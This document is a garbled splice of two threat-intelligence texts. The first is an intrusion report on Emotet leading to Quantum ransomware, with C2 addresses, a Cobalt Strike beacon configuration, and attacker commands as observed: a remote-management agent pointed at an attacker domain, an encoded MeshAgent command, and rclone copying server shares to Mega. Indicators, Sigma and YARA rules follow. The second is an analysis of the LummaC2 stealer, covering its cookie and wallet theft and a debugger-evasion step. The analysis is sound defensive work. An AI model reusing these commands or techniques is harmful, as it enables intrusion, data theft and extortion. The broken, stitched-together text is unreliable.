149.56.131.28 159.89.202.34 165.22.211.113 165.227.166.238 178.128.82.218 209.126.98.206 213.32.75.32 37.187.115.122 45.226.53.34 45.55.134.126 46.55.222.11 51.210.176.76 51.254.140.238 54.37.70.105 82.223.82.69 91.207.181.106 92.114.18.20 94.23.45.86 96.125.171.16 Cobalt Strike The following Cobalt Strike C2 servers were observed being used.


[], "headers": [] }, "verb": "GET", "uri": "/jquery-3.3.1.min.js" }, "cfg_caution": false, "host_header": "", "crypto_scheme": "0", "http_post": { "client": { "output": [], "id": [], "headers": [] }, "verb": "POST", "uri": "/jquery-3.3.2.min.js" } } 139.60.160.18:443 (juanjik[.]com) { "spawnto": "AAAAAAAAAAAAAAAAAAAAAA==", "dns_beacon": {}, "smb_frame_header": "AAWAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=", "post_ex": { "spawnto_x64": "%windir%\\sysnative\\dllhost.exe", "spawnto_x86": "%windir%\\syswow64\\dllhost.exe" }, "stage": { "cleanup": true }, "process_inject": { "stub": "yl5rgAigihmtjA5iEHURzg==", "transform_x64": [ "prepend '\\x90\\x90'" ], "transform_x86": [ "prepend '\\x90\\x90'" ], "startrwx": false, "min_alloc": "17500", "userwx": false, "execute": [ "CreateThread 'ntdll!RtlUserThreadStart'", "CreateThread", "NtQueueApcThread-s", "CreateRemoteThread", "RtlCreateUserThread" ], "allocator": "NtMapViewOfSection" }, "uses_cookies": true, "http_post_chunk": "0", "ssh": {}, "maxgetsize": "1403644", "proxy": { "behavior": "Use IE settings" }, "tcp_frame_header": "AAWAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=", "server": { "publickey": "MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCbFjn9w4cE3slYf3jYqTw3S+6HxAGZd3cMpTqKnDsmGAmCsll4R4jp5yz2SnrpRz8brvoZNotuWhqu71R0FqaAkaaheF5MrOHJBbCvGKDu4m6RZ0DHicJCpj6YIm0FLHNNZugHhV5Ou9lZaseCTECMnk0rXiwTsiRWv9ikRccwHwIDAQABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==", "port": "80", "hostname": "juanjik[.]com" }, "beacontype": [ "HTTP" ], "license_id": "206546002", "jitter": "37", "sleeptime": "45000", "http_get": { "server": { "output": [ "print", "append 1522 characters", "prepend 84 characters", "prepend 3931 characters", "base64url", "mask" ] }, "client": { "metadata":


During the installation of the software, the following command was observed: "C:\Program Files\TacticalAgent\tacticalrmm.exe"


-m install --api https://api.floppasoftware[.]com --client-id 1 --site-id 1 --agent-type server --auth REDACTED This command reveals the floppasoftware.com domain used by the threat actor for the remote management of Tactical RMM Agent.


A domain registered to be used with Tactical RMM Agent will have both an api and mesh subdomain, in this case api.floppasoftware[.]com and mesh.floppasoftware[.]com.


These were both hosted on the same server IP: 212.73.150.62.


In addition, during the execution of Tactical RMM Agent, the software will reach out to a centralized domain in order to retrieve the current public IP address in use: icanhazip.tacticalrmm.io AnyDesk On the final day of the intrusion, AnyDesk was deployed on the server they had previously installed Tactical RMM on.


Using this RMM agent they proceeded to install AnyDesk on the host.


MeshAgent.exe -kvm1 - Initiating Process File Name, column 6, row 12 "MeshAgent.exe" -b64exec cmVxdWlyZSgnd2luLWNvbnNvbGUnKS5oaWRlKCk7cmVxdWlyZSgnd2luLWRpc3BhdGNoZXInKS5jb25uZWN0KCczNzQ3Jyk7 The decoded base 64 content reveals commands for console access and connect actions.


This is then followed by the following process flow: Once downloaded and installed, the threat actor initiated a connection to the AnyDesk host.


Client-ID: 752733537 (FPR: 27ac27e2c9ed) Logged in from 84.17.49.114:1249 Exfiltration Also seen in our last report on Emotet, threat actors leveraged Rclone to exfiltrate data to Mega (Mega.nz) storage services. rclone.exe copy "\\SERVER.domain.name\path" mega:1 -q --ignore-existing --auto-confirm --multi-thread-streams 6 --transfers 6 rclone.exe copy "\\SERVER.domain.name\path" mega:2 -q --ignore-existing --auto-confirm --multi-thread-streams 6 --transfers 6 From the rclone.conf file, the threat actors left the details of the remote account being used.


The following is an example of the SMTP traffic for sending the email, along with an extracted EML that was sent with an attached XLS: Ransomware Towards the last day of the intrusion, the threat actor made their preparations to deploy ransomware to the domain.


They started by connecting to a new server via RDP from the server they just used Tactical RMM to deploy Anydesk.


Don’t Sleep has the capability to keep the computer from being shutdown and the user from being signed off.


This was likely done to ensure nothing will interfere with the propagation of the ransomware payload.


The script invoked the main ransomware payload, locker.dll, and passed a list of all the computers in the domain to the target parameter.


=DOMAIN\Administrator /password=[REDACTED]


The executable began to encrypt all the targeted hosts in the environment and dropped a ransom note: README_TO_DECRYPT.html After the invocation of the ransomware payload, about a minute later, the threat actor launched Process Hacker.


We believe this was to monitor the execution of the ransomware payload.


All systems in the domain were encrypted and presented with a ransom message.


Indicators Atomic Emotet Deployment Domains descontador[.]com[.]br www.elaboro[.]pl el-energiaki[.]gr drechslerstammtisch[.]de dhnconstrucciones[.]com[.]ar dilsrl[.]com Emotet C2 Servers 103.159.224.46 103.75.201.2 119.193.124.41 128.199.225.17 131.100.24.231 139.59.60.88 144.217.88.125 146.59.226.45 149.56.131.28 159.89.202.34 165.22.211.113 165.227.166.238 178.128.82.218 209.126.98.206 213.32.75.32 37.187.115.122 45.226.53.34 45.55.134.126 46.55.222.11 51.210.176.76 51.254.140.238 54.37.70.105 82.223.82.69 91.207.181.106 92.114.18.20 94.23.45.86 96.125.171.165 Cobalt Strike 139.60.161.167 (survefuz[.]com) 139.60.160.18 (juanjik[.]com) Tactical RMM Agent api.floppasoftware[.]com mesh.floppasoftware[.]com 212.73.150.62 Computed K-1 06.13.2022.lnk de7c4da78a6cbba096e32e5eecb00566 02b4f495e9995cc2251c19cd9984763f52122951 1bf9314ae67ab791932c43e6c64103b1b572a88035447dae781bffd21a1187ad 17jun.exe 0ea68856c4f56f4056502208e97e9033 b80c987c8849bf7905ea8f283b79d98753e3c15a 41e230134deca492704401ddf556ee2198ef6f32b868ec626d9aefbf268ab6b1 dontsleep.exe 50cc3a3bca96d7096c8118e838d9bc16 b286b58ed32b6df4ecdb5df86d7d7d177bb7bfaf f8cff7082a936912baf2124d42ed82403c75c87cb160553a7df862f8d81809ee locker.dll d2df4601c8d43e655163c0b292bc4cc9 f6727d5d04f2728a3353fbd45d7b2cb19e98802c 6424b4983f83f477a5da846a1dc3e2565b7a7d88ae3f084f3d3884c43aec5df6 netscan.exe 27f7186499bc8d10e51d17d3d6697bc5 52332ce16ee0c393b8eea6e71863ad41e3caeafd 18f0898d595ec054d13b02915fb7d3636f65b8e53c0c66b3c7ee3b6fc37d3566 rclone.exe 22bbe1747933531e9c240e0db86268e2 c2a8776e21403eb00b38bfccd36d1c03dffb009e 53ae3567a34097f29011d752f1d3afab8f92beb36a8d6a5df5c1d4b12edc Behavioral The threat actor delivered Emotet via a Emotet loader in the form of a LNK file responsible for dropping Emotet via Powershell (K-1 06.13.2022.lnk).


Data was exfiltrated to Mega cloud service via Rclone (rclone.exe).


Network mapping was performed using SoftPerfect Network Scanner (netscan.exe) followed by Quantum ransomware execution and propagation in the network (locker.dll).


The threat actor kept the remote desktop session alive by running a program to keep the session active (dontsleep.exe) Detections Network The DFIR Report Cobalt Strike 139.60.160.18The DFIR Report Cobalt Strike 139.60.161.167 ET Threatview.io High Confidence Cobalt Strike C2 IP group 1 ET POLICY SMB2 NT Create AndX Request For an Executable File ET POLICY SMB Executable File Transfer ET RPC DCERPC SVCCTL - Remote Service Control Manager Access ET INFO Observed External IP Lookup Domain (icanhazip .com


in TLS SNI)t ET JA3 HASH - Possible Rclone Client Response (Mega Storage) ET POLICY HTTP POST


AnyDesk Remote Desktop Software User-Agent ET CNC Feodo Tracker Reported CnC Server group 1 ET CNC Feodo Tracker Reported CnC Server group 14 ET CNC Feodo Tracker Reported CnC Server group 15 ET CNC Feodo Tracker Reported CnC Server group 17 ET CNC Feodo Tracker Reported CnC Server group 19 ET CNC Feodo Tracker Reported CnC Server group 2 ET CNC Feodo Tracker Reported CnC Server group 20 ET CNC Feodo Tracker Reported CnC Server group 21 ET CNC Feodo Tracker Reported CnC Server group 23 ET CNC Feodo Tracker Reported CnC Server group 24 ET CNC Feodo Tracker Reported CnC Server group 25 ET CNC Feodo Tracker Reported CnC Server group 3 ET CNC Feodo Tracker Reported CnC Server group 4 ET CNC Feodo Tracker Reported CnC Server group 5 ET CNC Feodo Tracker Reported CnC Server group 6 ET CNC Feodo Tracker Reported CnC Server group 7 ET CNC Feodo Tracker Reported CnC Server group 8 ET CNC Feodo Tracker Reported CnC Server group 9ET MALWARE W32/Emotet CnC Beacon 3 Sigma Custom Rules title: Emotet Child Process Spawn Pattern id: 50e8cf53-62df-49aa-bbde-8b3a0a6d8a35 status: Experimental description: Detects Emotet Spawning ipconfig and systeminfo.


selection_image: CommandLine: - 'ipconfig /all' - 'systeminfo' selection_parent: ParentImage|endswith: - 'regsvr32.exe' selection_parent_cmdline: ParentCommandLine|contains: - '.dll' condition: selection_image and selection_parent and selection_parent_cmdline falsepositives: - Unknown level: high tags: - attack.discovery - attack.t1087 Yara /* YARA Rule Set Author: The DFIR Report Date: 2022-11-28 Identifier:


Quantum Ransomware - Case 15184 Reference:


https://thedfirreport.com */ /*


Rule Set -----------------------------------------------------------------


*/ rule ___FilesToHash_17jun


%x] with length %ystopTheWorld: not stopped (status !


= _Pgcstop)sysGrow bounds not aligned to palloc" ascii $x5 = "VirtualQuery for stack base failedadding nil Certificate to CertPoolbad scalar length: %d, expected %dchacha20: wrong HChaCha20 " ascii $x6 = "file descriptor in bad statefindrunnable: netpoll with pforgetting unknown stream idfound pointer to free objectgcBgMarkWorker: " ascii $x7 = "tls: certificate used with invalid signature algorithmtls: server resumed a session with a different versionx509: cannot verify " ascii $x8 = "non-IPv4 addressnon-IPv6 addressobject is remotepacer: H_m_prev=proxy-connectionreflect mismatchremote I/O errorruntime:


g: g=" ascii $x9 = "lock: lock countslice bounds out of rangesocket type not supportedstartm: p has runnable gsstoplockedm: not runnablestrict-trans" ascii $x10 = "unixpacketunknown pcuser-agentws2_32.dll of size (targetpc= ErrCode=%v KiB work, freeindex= gcwaiting= idleprocs= in status " ascii $x11 = "100-continue152587890625762939453125Bidi_ControlCIDR addressCONTINUATIONContent TypeContent-TypeCookie.


DLL" fullword wide $s3 = "CREATEPROCESS_MANIFEST_RESOURCE_ID RT_MANIFEST \"res\\\\APP.exe.manifest\"" fullword ascii $s4 = "msinfo32.exe" fullword ascii $s5 = "user32.dll,LockWorkStation" fullword wide $s6 = "DontSleep.exe" fullword wide $s7 = "UMServer.log" fullword ascii $s8 = "_Autoupdate.exe" fullword ascii $s9 = "BlockbyExecutionState: %d


on:%d by_enable:%d" fullword wide $s10 = "powrprof.dll,SetSuspendState" fullword wide $s11 = "%UserProfile%" fullword wide $s12 = " 2010-2019


Nenad Hrg SoftwareOK.com" fullword wide $s13 = "https://sectigo.com/CPS0C" fullword ascii $s14 = "https://sectigo.com/CPS0D" fullword ascii $s15 = "?http://crl.usertrust.com/USERTrustRSACertificationAuthority.crl0v" fullword ascii $s16 = "Unable to get response from Accept Thread withing specified Timeout ->" fullword ascii $s17 = "3http://crt.usertrust.com/USERTrustRSAAddTrustCA.crt0%" fullword ascii $s18 = "Unable to get response from Helper Thread within specified Timeout ->" fullword ascii $s19 = " <requestedExecutionLevel level=\"asInvoker\" uiAccess=\"false\">" fullword ascii $s20 = "_selfdestruct.bat" fullword wide condition: uint16(0) == 0x5a4d and filesize < 700KB and 8 of them } rule ___


Goodware String - occured 1 times */ $s5 = "[email protected]" fullword ascii /*


Goodware String - occured 3 times */ $s6 = "oF D3f0D3n4D3v8D3~<H" fullword ascii $s7 = "j]{7r]Y" fullword ascii $s8 = "EA>EmA" fullword ascii $s9 = "ol$0fE" fullword ascii $s10 = "S{L1I{" fullword ascii $s11 = "V32D!RT" fullword ascii $s12 = " A_A^_" fullword ascii $s13 = "v`L4~`g" fullword ascii $s14 = "9\\$8vsH" fullword ascii $s15 = "K:_Rich" fullword ascii $s16 = " A_A^A\\_^" fullword ascii $s17 = "tsf90u" fullword ascii $s18 = "9|$0vQ" fullword ascii $s19 = "K:_=:?^" fullword ascii $s20 = ":9o 49" fullword ascii condition: uint16(0) == 0x5a4d and filesize < 200KB and 8 of them } rule K_1_06_13_2022_lnk { meta: description = "15184_ - file K-1


Goodware String - occured 3 times */ $s8 = "S-1-5-21-1499925678-132529631-3571256938-1001" fullword wide condition: uint16(0) == 0x004c and filesize < 10KB and 1 of ($x*) and all of the MITRE PowerShell – T1059.001 Process Injection – T1055 File Deletion – T1070.004 Lateral Tool Transfer – T1570 Valid Accounts – T1078 Service Execution – T1569.002 SMB/Windows Admin Shares – T1021.002 Remote System Discovery – T1018 Process Discovery – T1057 Rundll32 – T1218.011 Regsvr32 – T1218.010 Domain Account – T1087.002 Domain Groups – T1069.002 System Information Discovery – T1082 Data Encrypted for Impact – T1486 Network Share Discovery – T1135 Data from Network Shared Drive – T1039 Web Protocols – T1071.001 Remote Access Software – T1219 Exfiltration to Cloud Storage – T1567.002


By SOCRadar Research In our article about Stealer-as-a-Service, as the SOCRadar Research team, we looked at Lumma Stealer, a relatively new and unknown malware.


During our research, we didn’t find much information, so we did threat hunting by monitoring hacker forums with our dark web team.


We added the resulting data to our platform and started our analysis.


LummaC2 is the name of a malicious program classified as a stealer.


After our dark web team discovered LummaC2, we found that it was being sold on underground forums.


Due to its distribution on the web, it can be related to multiple cybercriminals.


Executive Summary Threat Identifiers Name LummaC2 Threat Type Stealer Detections VirusTotal Symptoms Stealers are designed to stealthily infiltrate the victim’s computer and remain silent.


Distribution Methods Infected email attachments, malicious online advertisements, social engineering, software ‘cracks.’


Damage Stolen passwords and banking information, identity theft, and the victim’s computer added to a botnet.


This malware can exfiltrate files and extract data from specific applications.


LummaC2 also targets multiple cryptocurrencies (e.g., Binance, Electrum, Ethereum, etc.).


In summary, software like LummaC2 on devices can result in severe privacy issues, significant financial losses, and identity theft.


We searched for the hash value and finally downloaded the malware from the Triage site, completing the first step of our analysis.


Since the sample we obtained is a PE file, when we run it after the appropriate environment is prepared and watch its mobility, it continues to run under the name “tmp.exe” by unpacking itself to the “C:\Users\admin\AppData\Local\Temp\” file path.


Process Name Command Line tmp.exe C:\Users\admin\AppData\Local\Temp\tmp.exe Behavior Activities: tmp.exe Infostealers often target stored browser data, which can include saved credentials etc.


Registry Key Sets: HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections HKU\S-1-5-21-575823232-3065301323-1442773979-1000\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\SavedLegacySettings HKU\S-1-5-21-575823232-3065301323-1442773979-1000\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ProxyEnable 1 HKU\S-1-5-21-575823232-3065301323-1442773979-1000\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ProxyServer %HTTP_PROXY%:8080 Reads browser cookies and saves this path: C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\ymgarh1v.defaul t\cookies.sqlite Connects to the server without a hostname.


After the connection to the address is established, it transmits information as a zip file.


Details are given in other stages.


Static Analysis Overview File Name tmp.exe File Size 158 KB File Type Win32.exe MD5 c9c0e32e00d084653db0b37a239e9a34 SHA-1 b97965e4a793ec0fa10abc86d0c6be5718716d8a SHA-256 d932ee10f02ea5bb60ed867d9687a906f1b8472f01fc5543b06f9ab22059b264 When Lumma is analyzed in various tools, the outputs of the tools are as follows: It is written in C++ programming language.


Detect It Easy tool’s output is the total ‘6.51920’ entropy value, which turns out 81%.


PEStudio tool’s output is total ‘6.519‘ entropy value.


In addition to the entropy value, we can view all functions and imported addresses when we examine them with IDA.


At this stage, we decide that it is not packed, and when we finally check with the “exeinfope,” the result is “not packed.”


One remarkable result we achieved using PEStudio was that it uses ASLR.


If the EAX register takes 1 as a value, the program will close itself, and it is impossible to debug with the analysis tools; that’s why changing it to 0 to run the program without closing.


The beginning of obfuscated strings and the field where browser cookie information is collected.


The stealer also targets crypto wallets such as Binance, Electrum, and Ethereum and collects sensitive information from the victim’s machine.


Crypto Wallets: Deobfuscated strings come after.


Web Browsers: Deobfuscated strings come after.


Upon execution, the stealer passes the obfuscated string to a function that strips the arbitrary string and delivers the original string.


The results obtained by decoding strings are compared below.


Dynamic Analysis We have started with the first findings we detected while running LummaC2 Stealer in the “behavior” section.